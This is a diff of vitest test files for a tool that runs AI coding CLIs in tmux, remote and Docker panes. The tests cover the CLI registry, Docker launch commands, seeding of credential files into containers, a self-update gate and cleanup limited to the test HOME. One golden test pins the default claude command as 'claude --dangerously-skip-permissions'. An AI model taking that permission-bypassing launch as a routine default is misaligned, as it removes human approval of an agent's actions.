// serialized pattern through compileVersionRegex()'s ReDoS guard rather than importing
// the resolver's own RegExp object.
const tool = dependencyRegistry().find((t) => t.id === id);
expect(tool).toBeDefined();
const spec = tool!.resolvers.find((r) => r.resolver.kind === 'path');
expect(spec).toBeDefined();
const resolver = spec!.resolver as { versionRegex?: RegExp; requireVersionMatch?: boolean };
expect(resolver.requireVersionMatch).toBe(true);
expect(resolver.versionRegex).toBe(PI_VERSION_REGEX);
expect(resolver.versionRegex?.source).toBe(expected.source);
});
it('keeps a doctor row for every CLI that has a binary to probe', () => {
// An earlier draft of the registry refactor silently dropped the grok and dsh rows, so
// `codeman doctor` stopped reporting two shipped CLIs entirely. Derive the expectation
// from the registry so this cannot pass by being updated to match a shrunken table.
const probeable = enabledClis().filter((c) => c.discovery.binaries.length > 0);
expect(probeable.length).toBeGreaterThanOrEqual(8);
for (const cli of probeable) {
const bin = cli.discovery.binaries[0];
const row = dependencyRegistry().find((t) =>
t.resolvers.some((r) => r.resolver.kind === 'path' && r.resolver.bins.includes(bin))
);
expect(row, `no codeman doctor row probes ${bin} (for CLI "${cli.id as string}")`).toBeDefined();
}
});
it('gives msoffice a windows-side resolver scoped to wsl + win32 only', () => {
const ms = DEPENDENCY_REGISTRY.find((t) => t.id === 'msoffice');
const ms = dependencyRegistry().find((t) => t.id === 'msoffice');
expect(ms).toBeDefined();
const spec = ms!.resolvers.find((r) => r.resolver.kind === 'windows-side');
expect(spec).toBeDefined();
+29 -5
View File
@@ -18,7 +18,9 @@ import {
removeDockerContainer,
checkDockerConfigDrift,
dockerConfigHash,
dockerAdoptProbeModes,
} from '../src/docker-hosts.js';
import { enabledCliIds, getCli } from '../src/config/cli-registry/index.js';
import {
buildDockerLaunchCommand,
buildDockerStopCommand,
@@ -201,15 +203,17 @@ describe('adopted container: claude as root', () => {
describe('adopted container: the host is not required to have the CLI', () => {
const src = readFileSync(new URL('../src/tmux-manager.ts', import.meta.url), 'utf8');
it('skips every host CLI requirement for a docker session', () => {
it('skips the host CLI requirement for a docker session', () => {
// A docker session runs its CLI inside the container. Demanding it on the
// host threw, the catch fell back to a direct PTY, and that PTY tried to
// exec the CLI on the HOST — surfacing as a bare `execvp(3) failed` with
// nothing naming the real cause.
const guarded = src.match(/!cliRunsInContainer && mode === '/g) || [];
const unguarded = src.match(/\n if \(mode === '[a-z]+' && !cliDir\)/g) || [];
expect(guarded.length).toBeGreaterThanOrEqual(7);
expect(unguarded).toHaveLength(0);
//
// The CLI registry collapsed the old per-mode `mode === 'claude' && !cliDir` chain
// into ONE `missingCliMessage(mode)` gate, so the guarantee is now that the single
// gate carries the docker exemption and that no per-mode arm has grown back.
expect(src).toContain('if (!cliRunsInContainer && !cliDir) {');
expect(src.match(/if \(mode === '[a-z]+' && !cliDir\)/g)).toBeNull();
});
it('derives the flag from the docker metadata the session already carries', () => {
@@ -364,3 +368,23 @@ describe('adopted container: drift is not evaluated', () => {
expect(status.drifted).toBe(false);
});
});
describe('adopted container: probe modes come from the CLI registry', () => {
it('probes every enabled CLI, so a newly-enabled one needs no second list', () => {
// A hand-written list here silently froze: `omp` shipped in 1.24.0 and was
// missing from it, which hid the omp run mode on EVERY docker case — owned
// ones included, since the run menu gates on this same probe.
const modes = dockerAdoptProbeModes();
expect(modes).toEqual(enabledCliIds());
expect(modes).toContain('omp');
expect(modes).toContain('shell');
});
it('resolves the real binary name, not the mode name', () => {
// `antigravity` ships as `agy` and `deepseek` as `dsh`, so a mode-name probe
// would report both as missing on a container that has them.
expect(getCli('antigravity')?.discovery.binaries[0]).toBe('agy');
expect(getCli('deepseek')?.discovery.binaries[0]).toBe('dsh');
expect(getCli('shell')?.discovery.binaries[0]).toBeUndefined();
});
});
+81
View File
@@ -0,0 +1,81 @@
/**
* @fileoverview Static parity check between docker/docker-compose.yaml and
* docker/.env.example.
*
* This is the MERGE GATE for the container environment. A feature that needs a
* new setting must add it to BOTH files; forgetting one is what produces the
* failure the in-app updater cannot defend against, because Compose resolves an
* unset `${VAR}` to the EMPTY STRING and starts anyway — the container comes up
* with a silently blank setting and misbehaves later, far from the cause.
*
* Failing here costs a line in a PR. Failing in production costs a debugging
* session on someone else's server. Related: docs/docker-self-update.md.
*/
import { describe, it, expect } from 'vitest';
import { readFileSync } from 'node:fs';
import { join } from 'node:path';
import { parseEnvKeys } from '../src/web/self-update.js';
const DOCKER_DIR = join(process.cwd(), 'docker');
const compose = readFileSync(join(DOCKER_DIR, 'docker-compose.yaml'), 'utf-8');
const example = readFileSync(join(DOCKER_DIR, '.env.example'), 'utf-8');
/**
* Every `${VAR}` / `${VAR:-default}` the compose file interpolates. Compose's
* own built-ins are excluded — they are supplied by Compose, not by .env.
*/
function composeVariables(text: string): string[] {
const found = new Set<string>();
for (const m of text.matchAll(/\$\{([A-Z_][A-Z0-9_]*)(?::?-[^}]*)?\}/g)) found.add(m[1]);
return [...found].sort();
}
/** Keys .env.example mentions at all, including the commented-out optional ones. */
function documentedKeys(text: string): Set<string> {
const keys = new Set(parseEnvKeys(text));
for (const m of text.matchAll(/^#\s*([A-Z_][A-Z0-9_]*)=/gm)) keys.add(m[1]);
return keys;
}
/**
* Variables Compose or the start script provides, which therefore need no entry
* in .env.example. Keep this list SHORT and justified — every addition is a
* setting the parity check stops guarding.
*/
const PROVIDED_ELSEWHERE = new Set([
// Derived by docker/Start-Codeman.sh from the appdata dir and socket owner.
'PUID',
'PGID',
'DOCKER_SOCKET_GID',
]);
/**
* Keys .env.example sets for an OVERRIDE documented in docker/README.md (the
* macvlan networking example), which the base compose file deliberately does not
* read. They are settings for a file that is not this one, not dead entries.
*/
const EXAMPLE_ONLY_KEYS = new Set([
'CODEMAN_MACVLAN_NETWORK',
'CODEMAN_IPV4_ADDRESS',
'CODEMAN_MAC_ADDRESS',
'CODEMAN_MACVLAN_PARENT',
'CODEMAN_MACVLAN_SUBNET',
'CODEMAN_MACVLAN_GATEWAY',
]);
describe('docker compose ↔ .env.example parity', () => {
it('every variable the compose file reads is documented in .env.example', () => {
const documented = documentedKeys(example);
const undocumented = composeVariables(compose).filter((v) => !documented.has(v) && !PROVIDED_ELSEWHERE.has(v));
expect(undocumented, `add these to docker/.env.example: ${undocumented.join(', ')}`).toEqual([]);
});
it('every key .env.example SETS is actually read by the compose file', () => {
// Commented-out entries are exempt: they document optional overrides and
// example-only values (the macvlan block) that the base file never reads.
const used = new Set(composeVariables(compose));
const unused = parseEnvKeys(example).filter((k) => !used.has(k) && !EXAMPLE_ONLY_KEYS.has(k));
expect(unused, `these are set in .env.example but unused: ${unused.join(', ')}`).toEqual([]);
});
});
+20
View File
@@ -80,6 +80,26 @@ describe('buildDockerLaunchCommand', () => {
expect(cmd).toContain("docker start 'codeman-case-myproj'");
});
it('avoids eager create expansion, tolerates a concurrent creator, and preserves real failures in compatibility mode', () => {
const opts = launchOpts();
opts.createContext.disableSwapLimit = true;
const cmd = buildDockerLaunchCommand(opts);
// No command substitution or shell variables: either could expand eagerly
// before the inspect side of || short-circuits in a nested launch shell.
expect(cmd).not.toContain('$(');
expect(cmd).not.toContain('codeman_create_output');
expect(cmd).toContain('if docker create');
expect(cmd).toContain("'/tmp/codeman-create-1a2b3c4d5e6f.log'");
// If another session created the case between inspect and create, re-inspect
// succeeds and the losing creator continues without printing the conflict.
expect(cmd).toContain("elif docker inspect 'codeman-case-myproj' >/dev/null 2>&1; then rm -f");
expect(cmd).toContain('Your kernel does not support swap limit capabilities');
expect(cmd).toContain('else sed');
expect(cmd).toContain('>&2; rm -f');
expect(cmd).toContain('; false; fi;');
expect(cmd).not.toContain('--memory-swap');
});
it('execs a TTY into the durable in-container tmux', () => {
const cmd = buildDockerLaunchCommand(launchOpts());
expect(cmd).toContain("exec docker exec -it --workdir '/home/arkon/cases/myproj'");
+53
View File
@@ -32,6 +32,7 @@ import {
resolveClaudeJsonSeedMount,
resolveDockerClaudeArtifacts,
resolveDockerCredentialArtifacts,
resolveDockerDaemonMountSource,
toSessionDocker,
writeDockerCases,
writeDockerHosts,
@@ -267,6 +268,32 @@ describe('buildDockerCreateArgs', () => {
expect(s).not.toContain('--storage-opt');
expect(buildDockerCreateArgs(ctx()).join(' ')).not.toContain('--gpus');
});
it('omits the unsupported swap limit while retaining the memory limit when disabled', () => {
const s = buildDockerCreateArgs(ctx({ disableSwapLimit: true })).join(' ');
expect(s).toContain('--memory 4g');
expect(s).not.toContain('--memory-swap');
});
});
describe('resolveDockerDaemonMountSource', () => {
const runtimeHome = join(tmpdir(), 'codeman-runtime-home');
const daemonHome = join(tmpdir(), 'codeman-daemon-home');
it('maps paths beneath the runtime HOME into the daemon-visible HOME', () => {
const source = join(runtimeHome, '.codeman', 'docker-seeds', 'codeman-case-test1.json');
expect(resolveDockerDaemonMountSource(source, runtimeHome, daemonHome)).toBe(
join(daemonHome, '.codeman', 'docker-seeds', 'codeman-case-test1.json')
);
});
it('preserves direct-host and non-HOME sources', () => {
const source = join(runtimeHome, '.claude', 'settings.json');
expect(resolveDockerDaemonMountSource(source, runtimeHome)).toBe(source);
const outsideHome = join(tmpdir(), 'codeman-cases', 'test1');
expect(resolveDockerDaemonMountSource(outsideHome, runtimeHome, daemonHome)).toBe(outsideHome);
});
});
describe('resolveDockerCredentialArtifacts (isolated codex/gemini/gcloud/opencode)', () => {
@@ -329,6 +356,32 @@ describe('resolveDockerCredentialArtifacts (isolated codex/gemini/gcloud/opencod
expect(mounts).toEqual([]);
expect(seedCopies).toEqual([]);
});
it('omp: shares sessions/ RW (host-side history/resume reads), seeds config files only', () => {
mkdirSync(join(home, '.omp', 'agent', 'sessions'), { recursive: true });
writeFileSync(join(home, '.omp', 'agent', 'config.yml'), '');
writeFileSync(join(home, '.omp', 'agent', 'mcp.json'), '{}');
writeFileSync(join(home, '.omp', 'agent', 'models.yml'), '');
writeFileSync(join(home, '.omp', 'agent', 'settings.yml'), '');
// Regenerable local state that must NOT be seeded (mirrors the pi/grok exclusions).
writeFileSync(join(home, '.omp', 'agent', 'agent.db'), '');
mkdirSync(join(home, '.omp', 'agent', 'terminal-sessions'), { recursive: true });
const { mounts, seedCopies } = resolveDockerCredentialArtifacts(home);
expect(mounts).toContainEqual({
src: join(home, '.omp', 'agent', 'sessions'),
dst: '/home/agent/.omp/agent/sessions',
});
const dests = seedCopies.map((s) => s.to);
expect(dests).toContain('/home/agent/.omp/agent/config.yml');
expect(dests).toContain('/home/agent/.omp/agent/mcp.json');
expect(dests).toContain('/home/agent/.omp/agent/models.yml');
expect(dests).toContain('/home/agent/.omp/agent/settings.yml');
expect(dests).not.toContain('/home/agent/.omp/agent/agent.db');
expect(mounts.some((m) => m.dst === '/home/agent/.omp/agent/terminal-sessions')).toBe(false);
// seed copies of individual files are NOT recursive
expect(seedCopies.filter((s) => s.to.startsWith('/home/agent/.omp')).every((s) => !s.recursive)).toBe(true);
});
});
describe('resolveDockerClaudeArtifacts (isolated claude state)', () => {
+169
View File
@@ -0,0 +1,169 @@
/**
* @fileoverview Unit tests for the Docker Compose self-update path.
*
* Covers the PURE half of the container environment gate: which release changes
* can be applied by the container restarting itself, and which must go back to
* the host. The IO half (`evaluateEnvironmentGate`) shells out to git and docker
* and is exercised by hand — see docs/docker-self-update.md.
*/
import { describe, it, expect } from 'vitest';
import {
canSelfUpdateInPlace,
computeEnvironmentBlockers,
diffRequiredEnvKeys,
isAutoRestartPolicy,
parseEnvKeys,
shouldRestartByExit,
type EnvironmentGateInput,
} from '../src/web/self-update.js';
/** A gate input where nothing has changed — each test perturbs one field. */
const CLEAN: EnvironmentGateInput = {
appliedDockerfileHash: 'aaa',
targetDockerfileHash: 'aaa',
appliedComposeHash: 'bbb',
targetComposeHash: 'bbb',
missingEnvKeys: [],
restartPolicy: 'unless-stopped',
};
describe('canSelfUpdateInPlace', () => {
it('accepts git and docker-compose, rejects npm and unknown', () => {
expect(canSelfUpdateInPlace('git')).toBe(true);
expect(canSelfUpdateInPlace('docker-compose')).toBe(true);
expect(canSelfUpdateInPlace('npm')).toBe(false);
// A container with no repo mounted: a pull would land in the writable layer.
expect(canSelfUpdateInPlace('unknown')).toBe(false);
});
});
describe('parseEnvKeys', () => {
it('reads set keys and ignores blanks, comments and values', () => {
expect(parseEnvKeys('A=1\n\nB=two words\n')).toEqual(['A', 'B']);
});
it('does NOT treat a commented-out key as set', () => {
// .env.example documents optional overrides as `# PUID=1000`. Counting those
// as required would block every update on settings the user should not set.
expect(parseEnvKeys('# PUID=1000\nCODEMAN_PORT=3000')).toEqual(['CODEMAN_PORT']);
});
it('handles `export` prefixes and repeated keys', () => {
expect(parseEnvKeys('export A=1\nA=2\n')).toEqual(['A']);
});
it('ignores lines that are not assignments', () => {
expect(parseEnvKeys('just a line\n=novalue\n1BAD=x\nOK=y')).toEqual(['OK']);
});
});
describe('diffRequiredEnvKeys', () => {
it('reports keys the release added that the user has no value for', () => {
expect(diffRequiredEnvKeys('A=\nB=\nC=', 'A=1\nC=3')).toEqual(['B']);
});
it('ignores keys the user set that the release dropped', () => {
expect(diffRequiredEnvKeys('A=', 'A=1\nOBSOLETE=2')).toEqual([]);
});
it('counts a key the user set to an EMPTY value as present', () => {
// `GEMINI_API_KEY=` is a deliberate opt-out, not a missing setting.
expect(diffRequiredEnvKeys('GEMINI_API_KEY=', 'GEMINI_API_KEY=')).toEqual([]);
});
});
describe('isAutoRestartPolicy', () => {
it('accepts the policies that relaunch the container after the server exits', () => {
expect(isAutoRestartPolicy('unless-stopped')).toBe(true);
expect(isAutoRestartPolicy('always')).toBe(true);
expect(isAutoRestartPolicy('on-failure')).toBe(true);
});
it('rejects "no" and unknown values', () => {
expect(isAutoRestartPolicy('no')).toBe(false);
expect(isAutoRestartPolicy('')).toBe(false);
expect(isAutoRestartPolicy(null)).toBe(false);
});
});
describe('shouldRestartByExit', () => {
it('exits when the Compose file declared it, whatever the daemon says', () => {
expect(shouldRestartByExit(true, null)).toBe(true);
expect(shouldRestartByExit(true, 'unless-stopped')).toBe(true);
});
it('exits when the daemon confirms an auto-restart policy', () => {
expect(shouldRestartByExit(false, 'unless-stopped')).toBe(true);
expect(shouldRestartByExit(false, 'always')).toBe(true);
});
// ⚠️ The gate fails open on an unknown policy; the KILL must not. A container
// nothing restarts would otherwise go down with no UI left to recover it.
it('does NOT exit on an unknown or non-restarting policy without the declaration', () => {
expect(shouldRestartByExit(false, null)).toBe(false);
expect(shouldRestartByExit(false, 'no')).toBe(false);
expect(shouldRestartByExit(false, '')).toBe(false);
});
});
describe('computeEnvironmentBlockers', () => {
it('allows a code-only release', () => {
expect(computeEnvironmentBlockers(CLEAN)).toEqual([]);
});
it('blocks a release that changes the Dockerfile', () => {
const blockers = computeEnvironmentBlockers({ ...CLEAN, targetDockerfileHash: 'zzz' });
expect(blockers.map((b) => b.kind)).toEqual(['dockerfile-changed']);
});
it('blocks a release that changes the compose file', () => {
const blockers = computeEnvironmentBlockers({ ...CLEAN, targetComposeHash: 'zzz' });
expect(blockers.map((b) => b.kind)).toEqual(['compose-changed']);
});
it('blocks and NAMES missing env keys', () => {
const blockers = computeEnvironmentBlockers({ ...CLEAN, missingEnvKeys: ['CODEMAN_NEW_THING'] });
expect(blockers[0].kind).toBe('env-keys-missing');
expect(blockers[0].details).toEqual(['CODEMAN_NEW_THING']);
});
it('blocks when the container would not come back', () => {
const blockers = computeEnvironmentBlockers({ ...CLEAN, restartPolicy: 'no' });
expect(blockers.map((b) => b.kind)).toEqual(['no-auto-restart']);
// The message says which policy, so the fix is obvious from the UI alone.
expect(blockers[0].message).toContain('"no"');
});
it('reports every blocker at once rather than stopping at the first', () => {
const blockers = computeEnvironmentBlockers({
...CLEAN,
targetDockerfileHash: 'zzz',
targetComposeHash: 'yyy',
missingEnvKeys: ['A'],
restartPolicy: 'no',
});
expect(blockers.map((b) => b.kind)).toEqual([
'dockerfile-changed',
'compose-changed',
'env-keys-missing',
'no-auto-restart',
]);
});
// ⚠️ Regression guards for the fail-OPEN decisions. An unknown baseline is not
// evidence of a change, and failing closed there would permanently block every
// container created before the fingerprint file existed.
it('does not block when the applied baseline is unknown', () => {
expect(computeEnvironmentBlockers({ ...CLEAN, appliedDockerfileHash: null, appliedComposeHash: null })).toEqual([]);
});
it('does not block when the target files cannot be read', () => {
expect(computeEnvironmentBlockers({ ...CLEAN, targetDockerfileHash: null, targetComposeHash: null })).toEqual([]);
});
it('does not block when the restart policy is unknown', () => {
// The probe needs the Docker socket, which a user may not have mounted.
expect(computeEnvironmentBlockers({ ...CLEAN, restartPolicy: null })).toEqual([]);
});
});
+7 -14
View File
@@ -1,8 +1,8 @@
import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest';
import { WebServer } from '../src/web/server.js';
import { existsSync, rmSync } from 'node:fs';
import { join } from 'node:path';
import { homedir } from 'node:os';
import { safeRmHomeTree } from './mocks/index.js';
const TEST_PORT = 3110;
const CASES_DIR = join(homedir(), 'codeman-cases');
@@ -19,13 +19,12 @@ describe('Edge Cases and Error Handling', () => {
});
afterEach(() => {
// Clean up cases created during this test
// Clean up cases created during this test. SAFETY: CASES_DIR is
// homedir()-derived, which on some platforms ignores the test HOME — the
// containment gate refuses to delete anything not under the temp HOME.
while (createdCases.length > 0) {
const caseName = createdCases.pop()!;
const casePath = join(CASES_DIR, caseName);
if (existsSync(casePath)) {
rmSync(casePath, { recursive: true, force: true });
}
safeRmHomeTree(join(CASES_DIR, caseName));
}
});
@@ -349,15 +348,9 @@ describe('Concurrent Session Handling', () => {
}
}
// Cleanup
const { rmSync, existsSync } = await import('node:fs');
const { join } = await import('node:path');
const { homedir } = await import('node:os');
// Cleanup (containment-gated: never touch prod ~/codeman-cases)
for (const name of createdCases) {
const path = join(homedir(), 'codeman-cases', name);
if (existsSync(path)) {
rmSync(path, { recursive: true, force: true });
}
safeRmHomeTree(join(homedir(), 'codeman-cases', name));
}
});
});
+6 -11
View File
@@ -1,8 +1,8 @@
import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest';
import { WebServer } from '../src/web/server.js';
import { existsSync, rmSync } from 'node:fs';
import { join } from 'node:path';
import { homedir } from 'node:os';
import { safeRmHomeTree } from './mocks/index.js';
const TEST_PORT = 3115;
const CASES_DIR = join(homedir(), 'codeman-cases');
@@ -24,13 +24,11 @@ describe('Integration Flows', () => {
});
afterEach(() => {
// Clean up cases created during this test
// Clean up cases created during this test (containment-gated: never
// delete a case dir outside the temp HOME, e.g. prod ~/codeman-cases on
// platforms where os.homedir() ignores $HOME).
while (createdCases.length > 0) {
const caseName = createdCases.pop()!;
const casePath = join(CASES_DIR, caseName);
if (existsSync(casePath)) {
rmSync(casePath, { recursive: true, force: true });
}
safeRmHomeTree(join(CASES_DIR, createdCases.pop()!));
}
});
@@ -296,10 +294,7 @@ describe('SSE Event Flow', () => {
} catch {}
}
for (const caseName of createdCases) {
const casePath = join(CASES_DIR, caseName);
if (existsSync(casePath)) {
rmSync(casePath, { recursive: true, force: true });
}
safeRmHomeTree(join(CASES_DIR, caseName));
}
await server.stop();
}, 60000);
+63
View File
@@ -0,0 +1,63 @@
/**
* @fileoverview Golden pins for the remote/docker LOCATION OVERLAY commands, now that both
* are read from `overlays.<location>` on the registry entry rather than from a hardcoded
* `Record<…CommandMode, string>` in each file.
*
* The literals below are transcribed from those two tables as they stood BEFORE the wiring,
* which is the whole point: the tables were dead-simple duplicates of registry data with
* nothing keeping the two in step, and the way to delete a duplicate safely is to pin what it
* produced first. A diff here means an entry's `overlays` (or its first declared binary)
* changed what a remote or in-container pane actually runs.
*
* Note the two arms deliberately NOT read from an entry, each for its own reason: remote
* `shell` resolves the REMOTE user's login shell (unknowable from here, hence `$SHELL`), and
* docker `shell` is the entry that declares `docker: { disabled: true }` — a container has no
* per-user login shell to resolve, so it gets a plain `bash -l`.
*
* Port: none (pure, over registry data).
*/
import { it, expect } from 'vitest';
import { defaultRemoteCommandForMode, remoteLoginShellCommand } from '../src/remote-hosts.js';
import { defaultDockerCommandForMode } from '../src/docker-hosts.js';
import type { SessionMode } from '../src/types/session.js';
const REMOTE_LOGIN_SHELL = '"${SHELL:-/bin/sh}"';
it('pins every remote pane command', () => {
const expected: Record<string, string> = {
shell: `exec ${REMOTE_LOGIN_SHELL} -i -l`,
claude: remoteLoginShellCommand('claude --dangerously-skip-permissions'),
opencode: remoteLoginShellCommand('opencode'),
codex: remoteLoginShellCommand('codex'),
gemini: remoteLoginShellCommand('gemini'),
antigravity: remoteLoginShellCommand('agy'),
pi: remoteLoginShellCommand('pi'),
grok: remoteLoginShellCommand('grok'),
deepseek: remoteLoginShellCommand('dsh'),
omp: remoteLoginShellCommand('omp'),
};
for (const [mode, want] of Object.entries(expected)) {
expect(defaultRemoteCommandForMode(mode as SessionMode), mode).toBe(want);
}
expect(defaultRemoteCommandForMode('nope' as SessionMode)).toBe(expected.shell);
});
it('pins every in-container pane command', () => {
const expected: Record<string, string> = {
shell: 'exec bash -l',
claude: 'exec claude --dangerously-skip-permissions',
opencode: 'exec opencode',
codex: 'exec codex',
gemini: 'exec gemini',
antigravity: 'exec agy',
pi: 'exec pi',
grok: 'exec grok',
deepseek: 'exec dsh',
omp: 'exec omp',
};
for (const [mode, want] of Object.entries(expected)) {
expect(defaultDockerCommandForMode(mode as SessionMode), mode).toBe(want);
}
expect(defaultDockerCommandForMode('nope' as SessionMode)).toBe('exec bash -l');
});
+2 -1
View File
@@ -433,6 +433,7 @@ describe('mobile overview run picker (CLI availability gating)', () => {
'pi',
'grok',
'deepseek',
'omp',
'shell',
]);
});
@@ -447,7 +448,7 @@ describe('mobile overview run picker (CLI availability gating)', () => {
src.indexOf('];', src.indexOf('const MOBILE_OVERVIEW_RUN_MODES')) + 2
);
const offered = [...modesBlock.matchAll(/mode: '([^']+)'/g)].map((m) => m[1]);
expect(offered).toContain('antigravity');
expect(offered).toContain('omp');
const fn = src.slice(src.indexOf('_buildMobileOverviewRunMenu() {'));
const gate = fn.slice(0, fn.indexOf('const header'));
expect(gate).toContain('isCliAvailable');
+1 -1
View File
@@ -7,5 +7,5 @@
export { MockSession, createMockSession, terminalOutputs } from './mock-session.js';
export { MockStateStore } from './mock-state-store.js';
export { waitForEvent, createDeferred } from './test-helpers.js';
export { waitForEvent, createDeferred, safeRmHomeTree, isUnderTestHome } from './test-helpers.js';
export { createMockRouteContext, type MockRouteContext } from './mock-route-context.js';
+1
View File
@@ -86,6 +86,7 @@ export function createMockRouteContext(options?: {
getSession: vi.fn(),
setSession: vi.fn(),
removeSession: vi.fn(),
demoteOrRemoveSession: vi.fn(() => 'removed' as const),
getSettings: vi.fn(() => ({})),
setSettings: vi.fn(),
getRalphLoopState: vi.fn(() => ({})),
+39
View File
@@ -2,6 +2,9 @@
* Reusable async test helpers.
*/
import { rmSync } from 'node:fs';
import { resolve } from 'node:path';
/** Wait for an EventEmitter to emit a specific event, with timeout */
export function waitForEvent(
emitter: { once: (event: string, listener: (...args: unknown[]) => void) => void },
@@ -34,3 +37,39 @@ export function createDeferred<T = void>(): {
});
return { promise, resolve, reject };
}
/**
* Delete a directory tree, but ONLY when it lives inside the test HOME.
*
* SAFETY (2026-08-29): `test/setup.ts` redirects `process.env.HOME` to a
* throwaway dir and `os.homedir()` follows it, so a `rmSync(CASES_DIR,
* recursive)` normally lands inside the fixture. This gate is defense in depth
* for the day that stops being true (a test that runs outside setup.ts, an
* env override that anchors a path elsewhere): it refuses to delete anything
* not under the redirected `process.env.HOME`, so the failure mode is a
* leftover temp dir rather than a deleted PRODUCTION `~/codeman-cases`.
* Lexical `resolve()` is used because the leaf often does not exist and
* `realpathSync` would throw.
*/
export function safeRmHomeTree(path: string): void {
const home = process.env.HOME;
if (!home) return;
const target = resolve(path);
const root = resolve(home);
if (target === root || target.startsWith(root + '/')) {
rmSync(target, { recursive: true, force: true });
}
}
/**
* True when `path` resolves strictly inside `process.env.HOME` (or to it).
* Same rationale as `safeRmHomeTree`; use for guarded non-recursive deletes
* (single files like `linked-cases.json`) so they can never touch prod state.
*/
export function isUnderTestHome(path: string): boolean {
const home = process.env.HOME;
if (!home) return false;
const target = resolve(path);
const root = resolve(home);
return target === root || target.startsWith(root + '/');
}
+132
View File
@@ -0,0 +1,132 @@
/**
* @fileoverview Tests for the OMP CLI resolver wrapper.
*
* OMP is a resolver with a version probe: `omp` is a short binary name, so a
* resolved path is only accepted once `omp --version` prints an `omp/<semver>`
* string (e.g. `omp/17.4.0`). The probe EXECUTES the candidate, which is
* exactly why it must never run under vitest — the hermeticity test below pins
* that gate with a real executable fixture that would make the test fail
* loudly if the gate were deleted again.
*/
import { chmodSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { afterEach, describe, expect, it, vi } from 'vitest';
import { createOmpResolverForTest } from '../src/utils/omp-cli-resolver.js';
import {
cliResolveRetryDelayMs,
createProductionCliResolverHost,
type CliResolverHost,
} from '../src/utils/cli-executable-resolver.js';
const temporaryDirectories: string[] = [];
afterEach(() => {
for (const directory of temporaryDirectories.splice(0)) {
rmSync(directory, { recursive: true, force: true });
}
});
function createHost(
options: {
processPathResult?: string | null;
loginShellResults?: Array<string | null>;
existingPaths?: string[];
} = {}
): CliResolverHost {
const loginShellResults = [...(options.loginShellResults ?? [])];
const existingPaths = new Set(options.existingPaths ?? []);
return {
processPath: '/service/bin',
shellPath: '/bin/zsh',
shellArgs: ['-l'],
findOnProcessPath: () => options.processPathResult ?? null,
findInLoginShell: () => loginShellResults.shift() ?? null,
exists: (path) => existingPaths.has(path),
};
}
describe('OMP CLI resolver', () => {
it('accepts a candidate the version probe verifies and carries the version as metadata', () => {
const binaryPath = '/service/bin/omp';
const probe = vi.fn(() => '17.4.0');
const resolver = createOmpResolverForTest(
createHost({ processPathResult: binaryPath, existingPaths: [binaryPath] }),
probe
);
expect(resolver.resolve()).toMatchObject({
binaryPath,
directory: '/service/bin',
source: 'process-path',
metadata: '17.4.0',
});
expect(probe).toHaveBeenCalledWith(binaryPath);
});
it('rejects a candidate the probe refuses and falls through to a later one', () => {
// An unrelated `omp` on the service PATH (probe returns null) must not mask
// the real coding agent found by the login shell.
const impostor = '/service/bin/omp';
const genuine = '/login-shell/bin/omp';
const probe = vi.fn((binPath: string) => (binPath === genuine ? '17.4.0' : null));
const resolver = createOmpResolverForTest(
createHost({
processPathResult: impostor,
loginShellResults: [genuine],
existingPaths: [impostor, genuine],
}),
probe
);
expect(resolver.resolve()).toMatchObject({ binaryPath: genuine, source: 'login-shell', metadata: '17.4.0' });
});
it('negative-caches a miss and retries only after the backoff elapses', () => {
const binaryPath = '/late/bin/omp';
let now = 0;
const probe = vi.fn(() => '17.4.0');
const resolver = createOmpResolverForTest(
createHost({ loginShellResults: [null, binaryPath], existingPaths: [binaryPath] }),
probe,
() => now
);
expect(resolver.resolve()).toBeNull();
expect(resolver.resolve()).toBeNull(); // within the backoff: no re-run
expect(probe).not.toHaveBeenCalled();
now = cliResolveRetryDelayMs(1);
expect(resolver.resolve()?.metadata).toBe('17.4.0');
expect(resolver.resolve()?.binaryPath).toBe(binaryPath);
});
it('never executes an omp candidate under vitest (the ambient probe is VITEST-gated)', () => {
// A REAL executable fixture that prints a valid version. If the guard in
// probeOmpVersion is ever removed again, the probe runs this script, the
// resolution SUCCEEDS, and this test fails — pinning hermeticity by
// behavior rather than by source text. (The suites must never execute
// whatever `omp` binary the machine running them happens to carry.)
const root = mkdtempSync(join(tmpdir(), 'codeman-omp-vitest-gate-'));
temporaryDirectories.push(root);
const binaryPath = join(root, 'omp');
writeFileSync(binaryPath, '#!/bin/sh\necho omp/0.99.0\n');
chmodSync(binaryPath, 0o755);
const hostOptions = {
processPath: root,
shellPath: '/bin/bash',
shellArgs: ['-i', '-l'] as string[],
runCommand: () => '',
isExecutableFile: (path: string) => path === binaryPath,
};
// Default (ambient) probe: the candidate is found but never executed, so
// the VITEST gate reports it unusable and resolution misses.
const gated = createOmpResolverForTest(createProductionCliResolverHost(hostOptions));
expect(gated.resolve()).toBeNull();
// Control: identical setup with an injected probe resolves, proving the
// null above comes from the gate, not from the fixture or the host.
const control = createOmpResolverForTest(createProductionCliResolverHost(hostOptions), () => '0.99.0');
expect(control.resolve()).toMatchObject({ binaryPath, metadata: '0.99.0' });
});
});
+129
View File
@@ -0,0 +1,129 @@
/**
* @fileoverview Pins the "Run OMP always resumes" bug found live 2026-08-27,
* and its follow-on fix for the sibling-aliasing bug found in upstream PR
* review (Ark0N/Codeman#353).
*
* Session._pinOmpRespawnId() resolves-and-pins the newest on-disk omp
* conversation as a side effect on `this._ompConfig`. That is correct ONLY
* immediately before an ACTUAL respawn (a confirmed-dead pane, or a genuine
* remote reattach) — never while merely building options that might not
* lead to one. It used to run eagerly inside `_buildRespawnPaneOptions()`,
* which startInteractive() calls unconditionally (including for a genuinely
* brand-new session, and for a boot-recovery reattach to a pane that turns
* out to still be alive): a fresh "Run OMP" click in a working directory
* with any prior omp history silently launched `--resume <old-id>` instead
* of a clean `omp` invocation, and — with two omp tabs in the same case dir
* — a live pane's `_ompConfig`/`claudeSessionId` could get mis-pinned to
* whichever sibling's file happened to be newest on disk, even though
* nothing was actually being respawned. Resolution now happens only inside
* `_pinOmpRespawnId()`, called by a caller that has already confirmed a
* real respawn is happening.
*/
import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
import { homedir } from 'node:os';
import { join } from 'node:path';
import { afterEach, describe, expect, it } from 'vitest';
import { Session } from '../src/session.js';
import { TmuxManager } from '../src/tmux-manager.js';
import type { MuxSession } from '../src/types.js';
describe('OMP: fresh session vs. reattach must not share resumeSessionId resolution', () => {
const workingDir = join(homedir(), 'codeman-cases', 'resume-test');
